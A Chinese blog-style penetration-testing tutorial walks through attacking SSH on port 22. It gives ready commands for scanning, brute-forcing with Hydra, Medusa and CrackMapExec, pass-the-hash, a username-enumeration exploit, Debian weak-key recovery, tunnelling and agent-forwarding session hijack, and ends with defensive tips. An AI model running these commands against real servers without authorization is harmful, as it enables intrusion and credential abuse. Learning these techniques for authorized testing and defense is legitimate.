news 2026/5/26 20:40:52

只需5个步骤带你了解渗透测试全过程,SSH端口22如何完全沦陷!

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
只需5个步骤带你了解渗透测试全过程,SSH端口22如何完全沦陷!

前言:为什么 SSH 攻击值得关注?

SSH(Secure Shell)是一种用于在不安全网络上建立安全连接的协议,主要用于远程服务器管理。由于 SSH 端口22通常默认开放,且广泛用于服务器管理,因此它成为攻击者的重点目标。

在这篇文章中,我们将深入探讨如何利用 SSH 端口 22 进行渗透测试,包括信息收集、漏洞评估、暴力破解、漏洞利用以及后渗透攻击等关键步骤。


攻击流程概览

1. 信息收集(Reconnaissance)

  • 使用Nmap扫描开放的 SSH 端口。

  • 获取 SSH 服务器版本信息 (nmap -sV)。

  • 通过Banner Grabbing提取 SSH 横幅信息。

2. 漏洞评估(Vulnerability Assessment)

  • 使用ssh-audit检测 SSH 配置弱点。

  • 在 CVE 数据库中查找相关漏洞。

3. 暴力破解与密钥利用(Brute Force & Key Exploitation)

  • 使用Hydra 或 Medusa进行密码暴力破解。

  • 利用暴露的 SSH 私钥进行认证。

4. 后渗透攻击(Post-Exploitation)

  • 设置SSH 隧道进行横向移动。

  • 劫持现有 SSH 会话。


第一步:信息收集

1. 端口扫描

使用 Nmap 识别开放的 SSH 端口(默认端口为 22):

nmap -p22 <目标IP>

2. 服务版本探测

检测 SSH 服务器版本,以便查找可能的漏洞:

nmap -sV -p22 <目标IP>

3. SSH Banner Grabbing

提取 SSH 服务的横幅信息,获取操作系统版本和 SSH 版本:

nc <目标IP> 22

第二步:漏洞评估

1. 检测已知漏洞(CVE)

一旦获取 SSH 服务器版本,可以在CVE DetailsNVD数据库中搜索已知漏洞。此外,还可以使用Nmap NSE脚本自动扫描 SSH 漏洞:

nmap --script sshv1 -p22 <目标IP> nmap -p22 <目标IP> --script ssh2-enum-algos nmap -p22 <目标IP> --script ssh-hostkey --script-args ssh_hostkey=full nmap -p22 <目标IP> --script ssh-auth-methods --script-args="ssh.user=root"

第三步:暴力破解与密钥攻击

1. 使用 Hydra 进行 SSH 暴力破解

hydra -l <用户名> -P <密码列表> <目标IP> ssh

2. 使用 Medusa 进行 SSH 暴力破解

medusa -h <目标IP> -u <用户名> -P <密码列表> -M ssh

高级攻击技术:Pass-the-Hash(PTH)

在高级渗透测试中,攻击者可能不会直接暴力破解密码,而是利用捕获到的密码哈希进行认证,绕过传统的密码验证机制。

1. 使用 CrackMapExec 进行并行 SSH 暴力破解

crackmapexec ssh <目标IP> -u <用户名> -p <密码>

2. 使用 pth-ssh 进行 Pass-the-Hash 攻击

pth-ssh <用户名>@<目标IP> <密码哈希>

为什么使用 PTH 攻击?

  • 比暴力破解更隐蔽:不会触发登录失败的安全警报。

  • 绕过速率限制:SSH 服务器通常会对失败登录进行限制,而 PTH 直接使用合法哈希进行认证。


第四步:SSH 关键漏洞利用

1. SSH 用户名枚举漏洞(CVE-2018-15473)

攻击者可以利用此漏洞分析 SSH 响应,推测系统中的有效用户名。

python ssh_enum.py <目标IP> -U <用户名列表>

2. SSH OpenSSL 预测随机数漏洞(CVE-2008-0166)

2006-2008 年间,Debian 基于 OpenSSL 生成的 SSH 密钥因随机数种子问题,导致密钥可预测。攻击者可以利用该漏洞恢复私钥。

git clone https://github.com/g0tmi1k/debian-ssh.git cd debian-ssh ./find_key.py <目标IP> <用户名>

第五步:后渗透攻击(Post-Exploitation)

1. 使用暴露的 SSH 私钥直接登陆

如果攻击者获取了 SSH 私钥(如id_rsa),可以直接认证目标系统。

chmod 600 id_rsa ssh -i id_rsa <用户名>@<目标IP>

2. 设置 SSH 隧道进行横向移动

SSH 本地端口转发

将本地端口映射到目标网络的内部端口,以访问内部服务。

ssh -L <本地端口>:<内网IP>:<内网端口> <用户名>@<目标IP>

示例(访问目标内网的 Web 服务器):

ssh -L 8080:10.10.10.5:80 root@192.168.1.10

3. 劫持现有 SSH 会话

检查现有 SSH 进程

攻击者可以查找系统上已建立的 SSH 连接并劫持其会话。

ps aux | grep ssh
利用 SSH 代理转发进行会话劫持
env | grep SSH_AUTH_SOCK ssh-add -l ssh -A <用户名>@<目标IP>

如果 SSH 代理已经存储了密钥,可以直接连接到其他系统,而无需再次输入密码。


总结:如何防御 SSH 攻击?

面对 SSH 端口 22 的攻击,服务器管理员应采取以下措施:

更改默认 SSH 端口(避免使用 22)
禁用密码认证,启用 SSH 密钥认证
限制 SSH 访问,仅允许特定 IP 连接
使用 Fail2Ban 或类似工具防止暴力破解
定期更新 OpenSSH 版本,修复已知漏洞
禁用 SSH 代理转发,防止会话劫持

SSH 安全至关重要,无论是企业服务器还是个人云主机,都应当采取适当的安全措施,以防止攻击者通过端口 22 入侵系统。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取


版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/24 7:51:12

【自然语言处理】单字与双字字频统计算法设计

目录 一、题目描述 二、算法设计思路 核心目标 算法流程 三、完整开发流程 &#xff08;一&#xff09;整体架构与核心流程 &#xff08;二&#xff09;模块 1&#xff1a;全局环境配置&#xff08;解决中文显示核心痛点&#xff09; &#xff08;三&#xff09;模块 2…

作者头像 李华
网站建设 2026/5/23 19:32:39

为什么make4ht -x abc.tex生成的HTML文件没有样式

问题原因分析make4ht默认生成的HTML文件确实可能缺少CSS样式表&#xff0c;这通常由以下原因导致&#xff1a;未正确配置输出选项缺少自定义样式表文件编译过程中未启用样式选项解决方案方法一&#xff1a;使用内置样式选项执行命令时添加-c参数指定配置文件&#xff1a;make4h…

作者头像 李华
网站建设 2026/5/21 8:55:17

Agent与Dify深度融合(扩展开发全攻略)

第一章&#xff1a;Agent与Dify深度融合概述在现代智能应用开发中&#xff0c;Agent&#xff08;智能代理&#xff09;与 Dify 平台的深度融合正成为构建高效、可扩展 AI 应用的核心路径。Dify 作为一个集可视化编排、模型管理与 API 服务于一体的低代码 AI 应用开发平台&#…

作者头像 李华
网站建设 2026/5/22 13:23:00

为什么你的多Agent系统通信总失败?Docker+LangGraph故障排查清单

第一章&#xff1a;为什么你的多Agent系统通信总失败&#xff1f;DockerLangGraph故障排查清单在构建基于 Docker 和 LangGraph 的多 Agent 系统时&#xff0c;通信失败是常见但棘手的问题。网络隔离、消息序列化错误或 Agent 状态不同步都可能导致整个流程中断。掌握一套系统化…

作者头像 李华